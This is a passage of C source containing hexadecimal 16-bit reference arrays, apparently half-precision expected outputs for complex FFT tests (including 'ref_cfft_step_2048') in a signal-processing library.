0x0, 0x0, 0xbb33, 0xb618, 0x0, 0x0, 0xbb33, 0xb626,
0x0, 0x0, 0xbb33, 0xb633, 0x0, 0x0, 0xbb33, 0xb640,
0x0, 0x0, 0xbb33, 0xb64e, 0x0, 0x0, 0xbb33, 0xb65b,
0x0, 0x0, 0xbb33, 0xb669, 0x0, 0x0, 0xbb33, 0xb676,
0x0, 0x0, 0xbb33, 0xb684, 0x0, 0x0, 0xbb33, 0xb692,
0x0, 0x0, 0xbb33, 0xb69f, 0x0, 0x0, 0xbb33, 0xb6ad,
0x0, 0x0, 0xbb33, 0xb6bb, 0x0, 0x0, 0xbb33, 0xb6c9,
0x0, 0x0, 0xbb33, 0xb6d6, 0x0, 0x0, 0xbb33, 0xb6e4,
0x0, 0x0, 0xbb33, 0xb6f2, 0x0, 0x0, 0xbb33, 0xb700,
0x0, 0x0, 0xbb33, 0xb70e, 0x0, 0x0, 0xbb33, 0xb71c,
0x0, 0x0, 0xbb33, 0xb72a, 0x0, 0x0, 0xbb33, 0xb738,
0x0, 0x0, 0xbb33, 0xb747, 0x0, 0x0, 0xbb33, 0xb755,
0x0, 0x0, 0xbb33, 0xb763, 0x0, 0x0, 0xbb33, 0xb771,
0x0, 0x0, 0xbb33, 0xb780, 0x0, 0x0, 0xbb33, 0xb78e,
0x0, 0x0, 0xbb33, 0xb79d, 0x0, 0x0, 0xbb33, 0xb7ab,
0x0, 0x0, 0xbb33, 0xb7ba, 0x0, 0x0, 0xbb33, 0xb7c8,
0x0, 0x0, 0xbb33, 0xb7d7, 0x0, 0x0, 0xbb33, 0xb7e6,
0x0, 0x0, 0xbb33, 0xb7f4, 0x0, 0x0, 0xbb33, 0xb802,
0x0, 0x0, 0xbb33, 0xb809, 0x0, 0x0, 0xbb33, 0xb810,
0x0, 0x0, 0xbb33, 0xb818, 0x0, 0x0, 0xbb33, 0xb81f,
0x0, 0x0, 0xbb33, 0xb827, 0x0, 0x0, 0xbb33, 0xb82e,
0x0, 0x0, 0xbb33, 0xb836, 0x0, 0x0, 0xbb33, 0xb83e,
0x0, 0x0, 0xbb33, 0xb845, 0x0, 0x0, 0xbb33, 0xb84d,
0x0, 0x0, 0xbb33, 0xb855, 0x0, 0x0, 0xbb33, 0xb85c,
0x0, 0x0, 0xbb33, 0xb864, 0x0, 0x0, 0xbb33, 0xb86c,
0x0, 0x0, 0xbb33, 0xb874, 0x0, 0x0, 0xbb33, 0xb87b,
0x0, 0x0, 0xbb33, 0xb883, 0x0, 0x0, 0xbb33, 0xb88b,
0x0, 0x0, 0xbb33, 0xb893, 0x0, 0x0, 0xbb33, 0xb89b,
0x0, 0x0, 0xbb33, 0xb8a3, 0x0, 0x0, 0xbb33, 0xb8ab,
0x0, 0x0, 0xbb33, 0xb8b3, 0x0, 0x0, 0xbb33, 0xb8bb,
0x0, 0x0, 0xbb33, 0xb8c3, 0x0, 0x0, 0xbb33, 0xb8cc,
0x0, 0x0, 0xbb33, 0xb8d4, 0x0, 0x0, 0xbb33, 0xb8dc,
0x0, 0x0, 0xbb33, 0xb8e4, 0x0, 0x0, 0xbb33, 0xb8ec,
0x0, 0x0, 0xbb33, 0xb8f5, 0x0, 0x0, 0xbb33, 0xb8fd,
0x0, 0x0, 0xbb33, 0xb905, 0x0, 0x0, 0xbb33, 0xb90e,
0x0, 0x0, 0xbb33, 0xb916, 0x0, 0x0, 0xbb33, 0xb91f,
0x0, 0x0, 0xbb33, 0xb927, 0x0, 0x0, 0xbb33, 0xb930,
0x0, 0x0, 0xbb33, 0xb939, 0x0, 0x0, 0xbb33, 0xb941,
0x0, 0x0, 0xbb33, 0xb94a, 0x0, 0x0, 0xbb33, 0xb953,
0x0, 0x0, 0xbb33, 0xb95b, 0x0, 0x0, 0xbb33, 0xb964,
0x0, 0x0, 0xbb33, 0xb96d, 0x0, 0x0, 0xbb33, 0xb976,
0x0, 0x0, 0xbb33, 0xb97f, 0x0, 0x0, 0xbb33, 0xb988,
0x0, 0x0, 0xbb33, 0xb991, 0x0, 0x0, 0xbb33, 0xb99a,
0x0, 0x0, 0xbb33, 0xb9a3, 0x0, 0x0, 0xbb33, 0xb9ac,
0x0, 0x0, 0xbb33, 0xb9b5, 0x0, 0x0, 0xbb33, 0xb9bf,
0x0, 0x0, 0xbb33, 0xb9c8, 0x0, 0x0, 0xbb33, 0xb9d1,
0x0, 0x0, 0xbb33, 0xb9db, 0x0, 0x0, 0xbb33, 0xb9e4,
0x0, 0x0, 0xbb33, 0xb9ed, 0x0, 0x0, 0xbb33, 0xb9f7,
0x0, 0x0, 0xbb33, 0xba00, 0x0, 0x0, 0xbb33, 0xba0a,
0x0, 0x0, 0xbb33, 0xba14, 0x0, 0x0, 0xbb33, 0xba1d,
0x0, 0x0, 0xbb33, 0xba27, 0x0, 0x0, 0xbb33, 0xba31,
0x0, 0x0, 0xbb33, 0xba3b, 0x0, 0x0, 0xbb33, 0xba45,
0x0, 0x0, 0xbb33, 0xba4f, 0x0, 0x0, 0xbb33, 0xba59,
0x0, 0x0, 0xbb33, 0xba63, 0x0, 0x0, 0xbb33, 0xba6d,
0x0, 0x0, 0xbb33, 0xba77, 0x0, 0x0, 0xbb33, 0xba81,
0x0, 0x0, 0xbb33, 0xba8c, 0x0, 0x0, 0xbb33, 0xba96,
0x0, 0x0, 0xbb33, 0xbaa1, 0x0, 0x0, 0xbb33, 0xbaab,
0x0, 0x0, 0xbb33, 0xbab6, 0x0, 0x0, 0xbb33, 0xbac0,
0x0, 0x0, 0xbb33, 0xbacb, 0x0, 0x0, 0xbb33, 0xbad5,
0x0, 0x0, 0xbb33, 0xbae0, 0x0, 0x0, 0xbb33, 0xbaeb,
0x0, 0x0, 0xbb33, 0xbaf6, 0x0, 0x0, 0xbb33, 0xbb01,
0x0, 0x0, 0xbb33, 0xbb0c, 0x0, 0x0, 0xbb33, 0xbb17,
0x0, 0x0, 0xbb33, 0xbb22, 0x0, 0x0, 0xbb33, 0xbb2e,
0x0, 0x0, 0xbb33, 0xbb39, 0x0, 0x0, 0xbb33, 0xbb44,
0x0, 0x0, 0xbb33, 0xbb50, 0x0, 0x0, 0xbb33, 0xbb5b,
0x0, 0x0, 0xbb33, 0xbb67, 0x0, 0x0, 0xbb33, 0xbb72,
0x0, 0x0, 0xbb33, 0xbb7e, 0x0, 0x0, 0xbb33, 0xbb8a,
0x0, 0x0, 0xbb33, 0xbb96, 0x0, 0x0, 0xbb33, 0xbba2,
0x0, 0x0, 0xbb33, 0xbbae, 0x0, 0x0, 0xbb33, 0xbbba,
0x0, 0x0, 0xbb33, 0xbbc6, 0x0, 0x0, 0xbb33, 0xbbd3,
0x0, 0x0, 0xbb33, 0xbbdf, 0x0, 0x0, 0xbb33, 0xbbeb,
0x0, 0x0, 0xbb33, 0xbbf8, 0x0, 0x0, 0xbb33, 0xbc02,
0x0, 0x0, 0xbb33, 0xbc09, 0x0, 0x0, 0xbb33, 0xbc0f,
0x0, 0x0, 0xbb33, 0xbc15, 0x0, 0x0, 0xbb33, 0xbc1c,
0x0, 0x0, 0xbb33, 0xbc23, 0x0, 0x0, 0xbb33, 0xbc29,
0x0, 0x0, 0xbb33, 0xbc30, 0x0, 0x0, 0xbb33, 0xbc36,
0x0, 0x0, 0xbb33, 0xbc3d, 0x0, 0x0, 0xbb33, 0xbc44,
0x0, 0x0, 0xbb33, 0xbc4b, 0x0, 0x0, 0xbb33, 0xbc52,
0x0, 0x0, 0xbb33, 0xbc58, 0x0, 0x0, 0xbb33, 0xbc5f,
0x0, 0x0, 0xbb33, 0xbc66, 0x0, 0x0, 0xbb33, 0xbc6e,
0x0, 0x0, 0xbb33, 0xbc75, 0x0, 0x0, 0xbb33, 0xbc7c,
0x0, 0x0, 0xbb33, 0xbc83, 0x0, 0x0, 0xbb33, 0xbc8a,
0x0, 0x0, 0xbb33, 0xbc92, 0x0, 0x0, 0xbb33, 0xbc99,
0x0, 0x0, 0xbb33, 0xbca1, 0x0, 0x0, 0xbb33, 0xbca8,
0x0, 0x0, 0xbb33, 0xbcb0, 0x0, 0x0, 0xbb33, 0xbcb7,
0x0, 0x0, 0xbb33, 0xbcbf, 0x0, 0x0, 0xbb33, 0xbcc7,
0x0, 0x0, 0xbb33, 0xbccf, 0x0, 0x0, 0xbb33, 0xbcd7,
0x0, 0x0, 0xbb33, 0xbcdf, 0x0, 0x0, 0xbb33, 0xbce7,
0x0, 0x0, 0xbb33, 0xbcef, 0x0, 0x0, 0xbb33, 0xbcf7,
0x0, 0x0, 0xbb33, 0xbcff, 0x0, 0x0, 0xbb33, 0xbd07,
0x0, 0x0, 0xbb33, 0xbd10, 0x0, 0x0, 0xbb33, 0xbd18,
0x0, 0x0, 0xbb33, 0xbd21, 0x0, 0x0, 0xbb33, 0xbd29,
0x0, 0x0, 0xbb33, 0xbd32, 0x0, 0x0, 0xbb33, 0xbd3b,
0x0, 0x0, 0xbb33, 0xbd44, 0x0, 0x0, 0xbb33, 0xbd4d,
0x0, 0x0, 0xbb33, 0xbd56, 0x0, 0x0, 0xbb33, 0xbd5f,
0x0, 0x0, 0xbb33, 0xbd68, 0x0, 0x0, 0xbb33, 0xbd71,
0x0, 0x0, 0xbb33, 0xbd7a, 0x0, 0x0, 0xbb33, 0xbd84,
0x0, 0x0, 0xbb33, 0xbd8d, 0x0, 0x0, 0xbb33, 0xbd97,
0x0, 0x0, 0xbb33, 0xbda1, 0x0, 0x0, 0xbb33, 0xbdaa,
0x0, 0x0, 0xbb33, 0xbdb4, 0x0, 0x0, 0xbb33, 0xbdbe,
0x0, 0x0, 0xbb33, 0xbdc8, 0x0, 0x0, 0xbb33, 0xbdd3,
0x0, 0x0, 0xbb33, 0xbddd, 0x0, 0x0, 0xbb33, 0xbde7,
0x0, 0x0, 0xbb33, 0xbdf2, 0x0, 0x0, 0xbb33, 0xbdfc,
0x0, 0x0, 0xbb33, 0xbe07, 0x0, 0x0, 0xbb33, 0xbe12,
0x0, 0x0, 0xbb33, 0xbe1d, 0x0, 0x0, 0xbb33, 0xbe28,
0x0, 0x0, 0xbb33, 0xbe33, 0x0, 0x0, 0xbb33, 0xbe3e,
0x0, 0x0, 0xbb33, 0xbe4a, 0x0, 0x0, 0xbb33, 0xbe55,
0x0, 0x0, 0xbb33, 0xbe61, 0x0, 0x0, 0xbb33, 0xbe6c,
0x0, 0x0, 0xbb33, 0xbe78, 0x0, 0x0, 0xbb33, 0xbe84,
0x0, 0x0, 0xbb33, 0xbe91, 0x0, 0x0, 0xbb33, 0xbe9d,
0x0, 0x0, 0xbb33, 0xbea9, 0x0, 0x0, 0xbb33, 0xbeb6,
0x0, 0x0, 0xbb33, 0xbec3, 0x0, 0x0, 0xbb33, 0xbecf,
0x0, 0x0, 0xbb33, 0xbedc, 0x0, 0x0, 0xbb33, 0xbeea,
0x0, 0x0, 0xbb33, 0xbef7, 0x0, 0x0, 0xbb33, 0xbf04,
0x0, 0x0, 0xbb33, 0xbf12, 0x0, 0x0, 0xbb33, 0xbf20,
0x0, 0x0, 0xbb33, 0xbf2e, 0x0, 0x0, 0xbb33, 0xbf3c,
0x0, 0x0, 0xbb33, 0xbf4a, 0x0, 0x0, 0xbb33, 0xbf59,
0x0, 0x0, 0xbb33, 0xbf68, 0x0, 0x0, 0xbb33, 0xbf77,
0x0, 0x0, 0xbb33, 0xbf86, 0x0, 0x0, 0xbb33, 0xbf95,
0x0, 0x0, 0xbb33, 0xbfa4, 0x0, 0x0, 0xbb33, 0xbfb4,
0x0, 0x0, 0xbb33, 0xbfc4, 0x0, 0x0, 0xbb33, 0xbfd4,
0x0, 0x0, 0xbb33, 0xbfe4, 0x0, 0x0, 0xbb33, 0xbff5,
0x0, 0x0, 0xbb33, 0xc003, 0x0, 0x0, 0xbb33, 0xc00b,
0x0, 0x0, 0xbb33, 0xc014, 0x0, 0x0, 0xbb33, 0xc01d,
0x0, 0x0, 0xbb33, 0xc025, 0x0, 0x0, 0xbb33, 0xc02e,
0x0, 0x0, 0xbb33, 0xc038, 0x0, 0x0, 0xbb33, 0xc041,
0x0, 0x0, 0xbb33, 0xc04a, 0x0, 0x0, 0xbb33, 0xc054,
0x0, 0x0, 0xbb33, 0xc05d, 0x0, 0x0, 0xbb33, 0xc067,
0x0, 0x0, 0xbb33, 0xc071, 0x0, 0x0, 0xbb33, 0xc07b,
0x0, 0x0, 0xbb33, 0xc085, 0x0, 0x0, 0xbb33, 0xc090,
0x0, 0x0, 0xbb33, 0xc09a, 0x0, 0x0, 0xbb33, 0xc0a5,
0x0, 0x0, 0xbb33, 0xc0b0, 0x0, 0x0, 0xbb33, 0xc0bb,
0x0, 0x0, 0xbb33, 0xc0c6, 0x0, 0x0, 0xbb33, 0xc0d2,
0x0, 0x0, 0xbb33, 0xc0de, 0x0, 0x0, 0xbb33, 0xc0e9,
0x0, 0x0, 0xbb33, 0xc0f5, 0x0, 0x0, 0xbb33, 0xc102,
0x0, 0x0, 0xbb33, 0xc10e, 0x0, 0x0, 0xbb33, 0xc11b,
0x0, 0x0, 0xbb33, 0xc128, 0x0, 0x0, 0xbb33, 0xc135,
0x0, 0x0, 0xbb33, 0xc142, 0x0, 0x0, 0xbb33, 0xc150,
0x0, 0x0, 0xbb33, 0xc15e, 0x0, 0x0, 0xbb33, 0xc16c,
0x0, 0x0, 0xbb33, 0xc17a, 0x0, 0x0, 0xbb33, 0xc189,
0x0, 0x0, 0xbb33, 0xc198, 0x0, 0x0, 0xbb33, 0xc1a7,
0x0, 0x0, 0xbb33, 0xc1b6, 0x0, 0x0, 0xbb33, 0xc1c6,
0x0, 0x0, 0xbb33, 0xc1d6, 0x0, 0x0, 0xbb33, 0xc1e7,
0x0, 0x0, 0xbb33, 0xc1f7, 0x0, 0x0, 0xbb33, 0xc209,
0x0, 0x0, 0xbb33, 0xc21a, 0x0, 0x0, 0xbb33, 0xc22c,
0x0, 0x0, 0xbb33, 0xc23e, 0x0, 0x0, 0xbb33, 0xc251,
0x0, 0x0, 0xbb33, 0xc264, 0x0, 0x0, 0xbb33, 0xc277,
0x0, 0x0, 0xbb33, 0xc28b, 0x0, 0x0, 0xbb33, 0xc29f,
0x0, 0x0, 0xbb33, 0xc2b4, 0x0, 0x0, 0xbb33, 0xc2c9,
0x0, 0x0, 0xbb33, 0xc2df, 0x0, 0x0, 0xbb33, 0xc2f6,
0x0, 0x0, 0xbb33, 0xc30c, 0x0, 0x0, 0xbb33, 0xc324,
0x0, 0x0, 0xbb33, 0xc33c, 0x0, 0x0, 0xbb33, 0xc354,
0x0, 0x0, 0xbb33, 0xc36d, 0x0, 0x0, 0xbb33, 0xc387,
0x0, 0x0, 0xbb33, 0xc3a2, 0x0, 0x0, 0xbb33, 0xc3bd,
0x0, 0x0, 0xbb33, 0xc3d9, 0x0, 0x0, 0xbb33, 0xc3f5,
0x0, 0x0, 0xbb33, 0xc409, 0x0, 0x0, 0xbb33, 0xc419,
0x0, 0x0, 0xbb33, 0xc428, 0x0, 0x0, 0xbb33, 0xc438,
0x0, 0x0, 0xbb33, 0xc449, 0x0, 0x0, 0xbb33, 0xc45a,
0x0, 0x0, 0xbb33, 0xc46b, 0x0, 0x0, 0xbb33, 0xc47d,
0x0, 0x0, 0xbb33, 0xc490, 0x0, 0x0, 0xbb33, 0xc4a3,
0x0, 0x0, 0xbb33, 0xc4b7, 0x0, 0x0, 0xbb33, 0xc4cb,
0x0, 0x0, 0xbb33, 0xc4e0, 0x0, 0x0, 0xbb33, 0xc4f6,
0x0, 0x0, 0xbb33, 0xc50c, 0x0, 0x0, 0xbb33, 0xc524,
0x0, 0x0, 0xbb33, 0xc53c, 0x0, 0x0, 0xbb33, 0xc555,
0x0, 0x0, 0xbb33, 0xc56f, 0x0, 0x0, 0xbb33, 0xc58a,
0x0, 0x0, 0xbb33, 0xc5a6, 0x0, 0x0, 0xbb33, 0xc5c3,
0x0, 0x0, 0xbb33, 0xc5e1, 0x0, 0x0, 0xbb33, 0xc601,
0x0, 0x0, 0xbb33, 0xc622, 0x0, 0x0, 0xbb33, 0xc644,
0x0, 0x0, 0xbb33, 0xc668, 0x0, 0x0, 0xbb33, 0xc68d,
0x0, 0x0, 0xbb33, 0xc6b4, 0x0, 0x0, 0xbb33, 0xc6dd,
0x0, 0x0, 0xbb33, 0xc708, 0x0, 0x0, 0xbb33, 0xc735,
0x0, 0x0, 0xbb33, 0xc764, 0x0, 0x0, 0xbb33, 0xc796,
0x0, 0x0, 0xbb33, 0xc7ca, 0x0, 0x0, 0xbb33, 0xc800,
0x0, 0x0, 0xbb33, 0xc81e, 0x0, 0x0, 0xbb33, 0xc83c,
0x0, 0x0, 0xbb33, 0xc85d, 0x0, 0x0, 0xbb33, 0xc880,
0x0, 0x0, 0xbb33, 0xc8a4, 0x0, 0x0, 0xbb33, 0xc8cc,
0x0, 0x0, 0xbb33, 0xc8f5, 0x0, 0x0, 0xbb33, 0xc922,
0x0, 0x0, 0xbb33, 0xc952, 0x0, 0x0, 0xbb33, 0xc986,
0x0, 0x0, 0xbb33, 0xc9be, 0x0, 0x0, 0xbb33, 0xc9fa,
0x0, 0x0, 0xbb33, 0xca3b, 0x0, 0x0, 0xbb33, 0xca82,
0x0, 0x0, 0xbb33, 0xcad0, 0x0, 0x0, 0xbb33, 0xcb25,
0x0, 0x0, 0xbb33, 0xcb83, 0x0, 0x0, 0xbb33, 0xcbec,
0x0, 0x0, 0xbb33, 0xcc30, 0x0, 0x0, 0xbb33, 0xcc71,
0x0, 0x0, 0xbb33, 0xccba, 0x0, 0x0, 0xbb33, 0xcd0e,
0x0, 0x0, 0xbb33, 0xcd6e, 0x0, 0x0, 0xbb33, 0xcddd,
0x0, 0x0, 0xbb33, 0xce60, 0x0, 0x0, 0xbb33, 0xcefb,
0x0, 0x0, 0xbb33, 0xcfb8, 0x0, 0x0, 0xbb33, 0xd050,
0x0, 0x0, 0xbb33, 0xd0e3, 0x0, 0x0, 0xbb33, 0xd1a4,
0x0, 0x0, 0xbb33, 0xd2ab, 0x0, 0x0, 0xbb33, 0xd413,
0x0, 0x0, 0xbb33, 0xd53d, 0x0, 0x0, 0xbb33, 0xd755,
0x0, 0x0, 0xbb33, 0xda1d, 0x0, 0x0, 0xbb33, 0xe095
};
static const uint16_t ref_cfft_step_2048[4096] = {
0x6333, 0x0, 0xbb33, 0x6095, 0x0, 0x0, 0xbb33, 0x5a1d,
0x0, 0x0, 0xbb33, 0x5755, 0x0, 0x0, 0xbb33, 0x553d,
0x0, 0x0, 0xbb33, 0x5413, 0x0, 0x0, 0xbb33, 0x52ab,
0x0, 0x0, 0xbb33, 0x51a4, 0x0, 0x0, 0xbb33, 0x50e3,
0x0, 0x0, 0xbb33, 0x5050, 0x0, 0x0, 0xbb33, 0x4fb8,
0x0, 0x0, 0xbb33, 0x4efb, 0x0, 0x0, 0xbb33, 0x4e60,
0x0, 0x0, 0xbb33, 0x4ddd, 0x0, 0x0, 0xbb33, 0x4d6e,
0x0, 0x0, 0xbb33, 0x4d0e, 0x0, 0x0, 0xbb33, 0x4cba,
0x0, 0x0, 0xbb33, 0x4c71, 0x0, 0x0, 0xbb33, 0x4c30,
0x0, 0x0, 0xbb33, 0x4bec, 0x0, 0x0, 0xbb33, 0x4b83,
0x0, 0x0, 0xbb33, 0x4b25, 0x0, 0x0, 0xbb33, 0x4ad0,
0x0, 0x0, 0xbb33, 0x4a82, 0x0, 0x0, 0xbb33, 0x4a3b,
0x0, 0x0, 0xbb33, 0x49fa, 0x0, 0x0, 0xbb33, 0x49be,
0x0, 0x0, 0xbb33, 0x4986, 0x0, 0x0, 0xbb33, 0x4952,
0x0, 0x0, 0xbb33, 0x4922, 0x0, 0x0, 0xbb33, 0x48f5,
0x0, 0x0, 0xbb33, 0x48cc, 0x0, 0x0, 0xbb33, 0x48a4,
0x0, 0x0, 0xbb33, 0x4880, 0x0, 0x0, 0xbb33, 0x485d,
0x0, 0x0, 0xbb33, 0x483c, 0x0, 0x0, 0xbb33, 0x481e,
0x0, 0x0, 0xbb33, 0x4800, 0x0, 0x0, 0xbb33, 0x47ca,
0x0, 0x0, 0xbb33, 0x4796, 0x0, 0x0, 0xbb33, 0x4764,
0x0, 0x0, 0xbb33, 0x4735, 0x0, 0x0, 0xbb33, 0x4708,
0x0, 0x0, 0xbb33, 0x46dd, 0x0, 0x0, 0xbb33, 0x46b4,
0x0, 0x0, 0xbb33, 0x468d, 0x0, 0x0, 0xbb33, 0x4668,
0x0, 0x0, 0xbb33, 0x4644, 0x0, 0x0, 0xbb33, 0x4622,
0x0, 0x0, 0xbb33, 0x4601, 0x0, 0x0, 0xbb33, 0x45e1,
0x0, 0x0, 0xbb33, 0x45c3, 0x0, 0x0, 0xbb33, 0x45a6,
0x0, 0x0, 0xbb33, 0x458a, 0x0, 0x0, 0xbb33, 0x456f,
0x0, 0x0, 0xbb33, 0x4555, 0x0, 0x0, 0xbb33, 0x453c,
0x0, 0x0, 0xbb33, 0x4524, 0x0, 0x0, 0xbb33, 0x450c,
0x0, 0x0, 0xbb33, 0x44f6, 0x0, 0x0, 0xbb33, 0x44e0,
0x0, 0x0, 0xbb33, 0x44cb, 0x0, 0x0, 0xbb33, 0x44b7,
0x0, 0x0, 0xbb33, 0x44a3, 0x0, 0x0, 0xbb33, 0x4490,
0x0, 0x0, 0xbb33, 0x447d, 0x0, 0x0, 0xbb33, 0x446b,
0x0, 0x0, 0xbb33, 0x445a, 0x0, 0x0, 0xbb33, 0x4449,
0x0, 0x0, 0xbb33, 0x4438, 0x0, 0x0, 0xbb33, 0x4428,
0x0, 0x0, 0xbb33, 0x4419, 0x0, 0x0, 0xbb33, 0x4409,
0x0, 0x0, 0xbb33, 0x43f5, 0x0, 0x0, 0xbb33, 0x43d9,
0x0, 0x0, 0xbb33, 0x43bd, 0x0, 0x0, 0xbb33, 0x43a2,
0x0, 0x0, 0xbb33, 0x4387, 0x0, 0x0, 0xbb33, 0x436d,
0x0, 0x0, 0xbb33, 0x4354, 0x0, 0x0, 0xbb33, 0x433c,
0x0, 0x0, 0xbb33, 0x4324, 0x0, 0x0, 0xbb33, 0x430c,
0x0, 0x0, 0xbb33, 0x42f6, 0x0, 0x0, 0xbb33, 0x42df,
0x0, 0x0, 0xbb33, 0x42c9, 0x0, 0x0, 0xbb33, 0x42b4,
0x0, 0x0, 0xbb33, 0x429f, 0x0, 0x0, 0xbb33, 0x428b,
0x0, 0x0, 0xbb33, 0x4277, 0x0, 0x0, 0xbb33, 0x4264,
0x0, 0x0, 0xbb33, 0x4251, 0x0, 0x0, 0xbb33, 0x423e,
0x0, 0x0, 0xbb33, 0x422c, 0x0, 0x0, 0xbb33, 0x421a,
0x0, 0x0, 0xbb33, 0x4209, 0x0, 0x0, 0xbb33, 0x41f7,
0x0, 0x0, 0xbb33, 0x41e7, 0x0, 0x0, 0xbb33, 0x41d6,
0x0, 0x0, 0xbb33, 0x41c6, 0x0, 0x0, 0xbb33, 0x41b6,
0x0, 0x0, 0xbb33, 0x41a7, 0x0, 0x0, 0xbb33, 0x4198,
0x0, 0x0, 0xbb33, 0x4189, 0x0, 0x0, 0xbb33, 0x417a,
0x0, 0x0, 0xbb33, 0x416c, 0x0, 0x0, 0xbb33, 0x415e,
0x0, 0x0, 0xbb33, 0x4150, 0x0, 0x0, 0xbb33, 0x4142,
0x0, 0x0, 0xbb33, 0x4135, 0x0, 0x0, 0xbb33, 0x4128,
0x0, 0x0, 0xbb33, 0x411b, 0x0, 0x0, 0xbb33, 0x410e,
0x0, 0x0, 0xbb33, 0x4102, 0x0, 0x0, 0xbb33, 0x40f5,
0x0, 0x0, 0xbb33, 0x40e9, 0x0, 0x0, 0xbb33, 0x40de,
0x0, 0x0, 0xbb33, 0x40d2, 0x0, 0x0, 0xbb33, 0x40c6,
0x0, 0x0, 0xbb33, 0x40bb, 0x0, 0x0, 0xbb33, 0x40b0,
0x0, 0x0, 0xbb33, 0x40a5, 0x0, 0x0, 0xbb33, 0x409a,
0x0, 0x0, 0xbb33, 0x4090, 0x0, 0x0, 0xbb33, 0x4085,
0x0, 0x0, 0xbb33, 0x407b, 0x0, 0x0, 0xbb33, 0x4071,
0x0, 0x0, 0xbb33, 0x4067, 0x0, 0x0, 0xbb33, 0x405d,
0x0, 0x0, 0xbb33, 0x4054, 0x0, 0x0, 0xbb33, 0x404a,
0x0, 0x0, 0xbb33, 0x4041, 0x0, 0x0, 0xbb33, 0x4038,
0x0, 0x0, 0xbb33, 0x402e, 0x0, 0x0, 0xbb33, 0x4025,
0x0, 0x0, 0xbb33, 0x401d, 0x0, 0x0, 0xbb33, 0x4014,
0x0, 0x0, 0xbb33, 0x400b, 0x0, 0x0, 0xbb33, 0x4003,
0x0, 0x0, 0xbb33, 0x3ff5, 0x0, 0x0, 0xbb33, 0x3fe4,
0x0, 0x0, 0xbb33, 0x3fd4, 0x0, 0x0, 0xbb33, 0x3fc4,
0x0, 0x0, 0xbb33, 0x3fb4, 0x0, 0x0, 0xbb33, 0x3fa4,
0x0, 0x0, 0xbb33, 0x3f95, 0x0, 0x0, 0xbb33, 0x3f86,
0x0, 0x0, 0xbb33, 0x3f77, 0x0, 0x0, 0xbb33, 0x3f68,
0x0, 0x0, 0xbb33, 0x3f59, 0x0, 0x0, 0xbb33, 0x3f4a,
0x0, 0x0, 0xbb33, 0x3f3c, 0x0, 0x0, 0xbb33, 0x3f2e,
0x0, 0x0, 0xbb33, 0x3f20, 0x0, 0x0, 0xbb33, 0x3f12,
0x0, 0x0, 0xbb33, 0x3f04, 0x0, 0x0, 0xbb33, 0x3ef7,
0x0, 0x0, 0xbb33, 0x3eea, 0x0, 0x0, 0xbb33, 0x3edc,
0x0, 0x0, 0xbb33, 0x3ecf, 0x0, 0x0, 0xbb33, 0x3ec3,
0x0, 0x0, 0xbb33, 0x3eb6, 0x0, 0x0, 0xbb33, 0x3ea9,
0x0, 0x0, 0xbb33, 0x3e9d, 0x0, 0x0, 0xbb33, 0x3e91,
0x0, 0x0, 0xbb33, 0x3e84, 0x0, 0x0, 0xbb33, 0x3e78,
0x0, 0x0, 0xbb33, 0x3e6c, 0x0, 0x0, 0xbb33, 0x3e61,
0x0, 0x0, 0xbb33, 0x3e55, 0x0, 0x0, 0xbb33, 0x3e4a,
0x0, 0x0, 0xbb33, 0x3e3e, 0x0, 0x0, 0xbb33, 0x3e33,
0x0, 0x0, 0xbb33, 0x3e28, 0x0, 0x0, 0xbb33, 0x3e1d,
0x0, 0x0, 0xbb33, 0x3e12, 0x0, 0x0, 0xbb33, 0x3e07,
0x0, 0x0, 0xbb33, 0x3dfc, 0x0, 0x0, 0xbb33, 0x3df2,
0x0, 0x0, 0xbb33, 0x3de7, 0x0, 0x0, 0xbb33, 0x3ddd,
0x0, 0x0, 0xbb33, 0x3dd3, 0x0, 0x0, 0xbb33, 0x3dc8,
0x0, 0x0, 0xbb33, 0x3dbe, 0x0, 0x0, 0xbb33, 0x3db4,
0x0, 0x0, 0xbb33, 0x3daa, 0x0, 0x0, 0xbb33, 0x3da1,
0x0, 0x0, 0xbb33, 0x3d97, 0x0, 0x0, 0xbb33, 0x3d8d,
0x0, 0x0, 0xbb33, 0x3d84, 0x0, 0x0, 0xbb33, 0x3d7a,
0x0, 0x0, 0xbb33, 0x3d71, 0x0, 0x0, 0xbb33, 0x3d68,
0x0, 0x0, 0xbb33, 0x3d5f, 0x0, 0x0, 0xbb33, 0x3d56,
0x0, 0x0, 0xbb33, 0x3d4d, 0x0, 0x0, 0xbb33, 0x3d44,
0x0, 0x0, 0xbb33, 0x3d3b, 0x0, 0x0, 0xbb33, 0x3d32,
0x0, 0x0, 0xbb33, 0x3d29, 0x0, 0x0, 0xbb33, 0x3d21,
0x0, 0x0, 0xbb33, 0x3d18, 0x0, 0x0, 0xbb33, 0x3d10,
0x0, 0x0, 0xbb33, 0x3d07, 0x0, 0x0, 0xbb33, 0x3cff,
0x0, 0x0, 0xbb33, 0x3cf7, 0x0, 0x0, 0xbb33, 0x3cef,
0x0, 0x0, 0xbb33, 0x3ce7, 0x0, 0x0, 0xbb33, 0x3cdf,
0x0, 0x0, 0xbb33, 0x3cd7, 0x0, 0x0, 0xbb33, 0x3ccf,
0x0, 0x0, 0xbb33, 0x3cc7, 0x0, 0x0, 0xbb33, 0x3cbf,
0x0, 0x0, 0xbb33, 0x3cb7, 0x0, 0x0, 0xbb33, 0x3cb0,
0x0, 0x0, 0xbb33, 0x3ca8, 0x0, 0x0, 0xbb33, 0x3ca1,
0x0, 0x0, 0xbb33, 0x3c99, 0x0, 0x0, 0xbb33, 0x3c92,
0x0, 0x0, 0xbb33, 0x3c8a, 0x0, 0x0, 0xbb33, 0x3c83,
0x0, 0x0, 0xbb33, 0x3c7c, 0x0, 0x0, 0xbb33, 0x3c75,
0x0, 0x0, 0xbb33, 0x3c6e, 0x0, 0x0, 0xbb33, 0x3c66,
0x0, 0x0, 0xbb33, 0x3c5f, 0x0, 0x0, 0xbb33, 0x3c58,
0x0, 0x0, 0xbb33, 0x3c52, 0x0, 0x0, 0xbb33, 0x3c4b,
0x0, 0x0, 0xbb33, 0x3c44, 0x0, 0x0, 0xbb33, 0x3c3d,
0x0, 0x0, 0xbb33, 0x3c36, 0x0, 0x0, 0xbb33, 0x3c30,
0x0, 0x0, 0xbb33, 0x3c29, 0x0, 0x0, 0xbb33, 0x3c23,
0x0, 0x0, 0xbb33, 0x3c1c, 0x0, 0x0, 0xbb33, 0x3c15,
0x0, 0x0, 0xbb33, 0x3c0f, 0x0, 0x0, 0xbb33, 0x3c09,
0x0, 0x0, 0xbb33, 0x3c02, 0x0, 0x0, 0xbb33, 0x3bf8,
